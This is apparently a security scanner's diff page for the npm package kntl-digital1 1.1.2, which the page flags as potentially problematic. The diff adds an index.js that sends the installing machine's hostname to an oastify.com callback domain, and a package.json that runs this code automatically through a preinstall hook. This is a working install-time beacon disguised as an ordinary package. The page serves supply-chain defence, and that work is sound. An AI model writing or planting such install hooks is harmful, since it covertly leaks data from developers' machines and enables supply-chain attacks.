kntl-digital1 1.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kntl-digital1 might be problematic. Click here for more details.
- package/index.js +12 -0
- package/package.json +17 -0
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
axios
|
5
|
+
.get('https://li79c87t4swwlq77hvrkl6in4ea5yu.oastify.com/axios?hostname=' + os.hostname())
|
6
|
+
.then(res => {
|
7
|
+
console.log(`statusCode: ${res.status}`);
|
8
|
+
console.log(res);
|
9
|
+
})
|
10
|
+
.catch(error => {
|
11
|
+
console.error(error);
|
12
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "kntl-digital1",
|
3
|
+
"version": "1.1.2",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^0.27.1",
|
13
|
+
"os": "^0.1.2"
|
14
|
+
},
|
15
|
+
"devDependencies": {},
|
16
|
+
"description": ""
|
17
|
+
}
|